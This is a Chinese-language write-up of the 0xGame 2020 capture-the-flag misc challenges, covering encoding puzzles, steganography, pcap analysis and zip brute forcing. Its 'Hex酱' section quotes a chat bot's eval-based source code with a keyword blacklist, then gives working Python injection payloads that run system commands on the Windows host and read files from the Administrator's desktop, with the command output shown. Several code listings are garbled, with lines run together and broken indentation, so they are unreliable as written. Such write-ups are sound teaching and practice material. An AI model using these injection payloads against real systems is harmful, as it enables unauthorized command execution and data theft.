…

week1

签到题

查看rules可以得到flag

1	0xGame{Welc0m_to_0xGame2020}

easyBase

一眼看出base64加密，base16 解密即可

QR_repair

qq截图两张不全的二维码，用美图秀秀拼在一起，百度找一张二维码角的图片贴上去，再用微信扫码即可

lowerBase64

每四个字符一组穷举改大小写解出
官方wp：
Base64会把原文的3个字节为一组，一共是24bits，6bits一组重组为4个新的字符。所以我们爆破时需
要以4个一组，枚举所有字母大小写的组合，然后进行解码。
exp:

from base64 import b64decode from itertools import product 
c = 'mhhnyw1lezviodq1ntkxltmwmditngjlny1hzgi5lwu4m2q1ntcymtblnx0=' 
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-{}' 

flag = b"" 
real_data = ""
 for i in range(0, len(c), 4):
     pos = [] 
     for char in c[i:i+4]: 
         pos.append([char.lower(), char.upper()]) 
     cases = ["".join(k) for k in product(*pos)]
     for case in cases:
          if all(chr(char) in table for char in b64decode(case)):
               real_data += case
               flag += b64decode(case) 
               break 
print(real_data) 
print(flag.decode())

pcap

wireshark打开搜索HTTP POST发现有文件上传，类型为zip，导出HTTP对象为zip，解压得到图片改宽高
一个小非预期：binwalk可以直接分离出zip文件

week2

Differentpic

stegsolve打开image compare模式发现二维码保存二维码打开更改滤镜扫码得到flag

Extract

Binwalk解压得到二维码，扫码提示stegpy，搜索stegpy，发现使用方法，使用stegpy对图片解密得到flag

week3

threeThousand

编写脚本

import os
import shutil
import zipfile
import random
from os.path import join, getsize

fileIndex = 3000

while(fileIndex != 1):
    fileName = "%d.zip" % fileIndex
    print("begining extract: " + fileName)
    f = zipfile.ZipFile(fileName, 'r')
    for i in range(0, 100):
        try:
            f.extractall(pwd = ('%02d' % i).encode("utf-8"), path = r"./")
            print("pwd = %02d" % i)
            break
        except:
            pass

    f.close()
    os.remove(r"./%s" % fileName)
    fileIndex = fileIndex - 1

easyMisc

按F12发现两行

都是base64加密，解密后的结果粘贴补充到地址栏可以得到压缩包和wav，猫猫hint的图用stegpy解密得知从wav里获取压缩包密码(并没有什么意义的hint)，au打开,是DTMF 得到压缩包密码,解压图片使用stegpy解开得flag

week4

flip

解压文件夹后au打开pwd.mp3写出摩斯电码，解密，按照题目说法把密码顺序调转打开压缩包，得到txt文件将里面的二进制数逐一逆序后放入JDK，二进制转ascii得到第二个密码，压缩包里隐藏了一张图片需要在kali里binwalk出来，图片已加密，刚好输入第二个密码得到flag图片，扫描二维码可得flag

Hex酱

不会python 不会做，唯一一个没出来的misc题
官方wp：
其实是一道web题
源码：

import random 
import base64 
import hashlib 
wrong_msg = ["我可运行不了这种呀","不支持这么写啦", "看不懂这种呀", "哎呀，没有运行成功~"] 
def keyword_filter(keyword, msg): 
    for i in keyword: 
        if i not in msg: 
            return False return True 
def py_filter(msg): 
    for keyword in ["class", "eval", "exec","input","listdir", "help","powershell", "cmd", "shutdown", "del", "logoff", "sys", "globals", "builtins", "getattr", "pow"]: 
        if keyword_filter(keyword, msg): 
            return [False, keyword] 
    if "**" in msg: 
            return [False,"**"] 
    return [True] 
def do_python(msg): 
    try:
        msg = msg[6:-1] 
        print(msg) 
        key_word = py_filter(msg) 
        if key_word[0]: 
            temp = eval(msg) 
            else:return "包含关键词："+key_word[1] 
            if temp != None: 
                return str(temp) 
            else:
                return random.choice(wrong_msg) 
        except: 
            return random.choice(wrong_msg) 
def rcode(msg): 
    if msg[:6] == "print(" and msg[-1] == ")": 
        return [True, do_python(msg)] 
    if (msg[:4] == "md5(" or msg[:4] == "MD5(") and msg[-1] == ")": 
        return [True, hashlib.md5(msg[4:-1].encode()).hexdigest()] 
    if (msg[:7] == "sha256(" or msg[:7] == "SHA256(") and msg[-1] == ")":
         return [True, hashlib.sha256(msg[7:-1].encode()).hexdigest()]
    if (msg[:7] == "sha512(" or msg[:7] == "SHA512(") and msg[-1] == ")": 
        return [True, hashlib.sha512(msg[7:-1].encode()).hexdigest()]
    if msg[:10] == "b64encode(" and msg[-1] == ")":
         return [True, base64.b64encode(msg[10:-1].encode()).decode()] 
    if msg[:10] == "b64decode(" and msg[-1] == ")":
        return [True, base64.b64decode(msg[10:-1]).decode()] 
return [None]

就是调用eval执行python代码，绕过黑名单过滤进行一个python命令注入就可以拿到flag
黑名单是只要出现了某个关键词中的所有字符就会过滤
其实过滤没起什么作用，看起来过滤了很多，但是 import os 没过滤
windows下对大小写不敏感，全大写就行，所以拿flag的姿势非常多
二进制编码也行
最简单的使用os库执行系统命令：

1 2	print(__import__('os').popen('WHOAMI').read()) izozp2s3d5jnzaz\administrator

列当前目录文件：

print(__import__('os').popen('DIR').read()) 
2020/11/03 15:52 <DIR> . 
2020/11/03 15:52 <DIR> .. 
2020/08/11 11:39 <DIR> app 
2020/08/11 11:39 <DIR> conf 
2020/08/11 11:39 <DIR> data 
2020/09/24 16:23 <DIR> go-cqhttp 
2020/08/11 11:39 <DIR> httpapi 
2020/09/22 20:38 1,312 main_bot.py 
2020/09/18 01:20 1,813 massage_filter.py 
2020/11/03 15:52 1,850 runcode.py 
2020/09/18 01:20 <DIR> __pycache__

查看当前路径：

1 2	print(__import__('os').popen('CD').read()) C:\Users\Administrator\Desktop\Game\HexQBot

查看上一级目录：

print(__import__('os').popen('DIR ..\\').read()) 
2020/09/30 00:33 <DIR> . 
2020/09/30 00:33 <DIR> .. 
2020/10/27 00:13 <DIR> HexQBot 
2020/09/30 00:33 9,440,520 HexQBot.zip 
2020/09/30 00:33 <DIR> __MACOSX

查看桌面文件：

#有时候qq会因为消息长度限制导致无回显，dir命令加个/b就好了 #一般windows题，flag经常在桌面上 
print(__import__('os').popen('DIR /B ..\\..\\').read())
或者
print(__import__('os').popen('DIR /B %USERPROFILE%\\DESKTOP').read()) 
或者
print(__import__('os').popen('DIR /B C:\\USERS\\ADMINISTRATOR\\DESKTOP').read()) 
BtSoft.exe
Game 
go-cqhttp-v0.9.17-windows-amd64.zip 
Google Chrome.lnk 
here_is_flag.txt 
HexQBot 
HexQBot - 副本 
HexQBot - 副本.zip 
jdk-14.0.2_windows-x64_bin.exe 
Mirai整合包Dice+铃心564 
Mirai整合包Dice+铃心564.zip 
pycryptodome-3.9.8-cp36-cp36m-win_amd64.whl 
python-3.7.6-amd64.exe 
task 
Visual Studio Code.lnk yafu-1.34 
yafu-1.34.zip 
宝塔面板.lnk

在桌面看到flag文件： here_is_flag.txt
查看flag：

print(__import__('os').popen('TYPE %USERPROFILE%\\DESKTOP\\HERE_IS_FLAG.TXT').read()) 或者使用通配符?： 
print(__import__('os').popen('TYPE %USERPROFILE%\\DESKTOP\\????_?? _????.???').read()) 
或者*： 
print(__import__('os').popen('TYPE %USERPROFILE%\\DESKTOP\\HER*').read()) 
#0xGame{621a9c2d-0f24-40fc-b5e2-8d8018e5165b}

下次出windows题可能把flag放在内网服务了，搞一个域渗透？

雨霖铃

0xGame-misc wp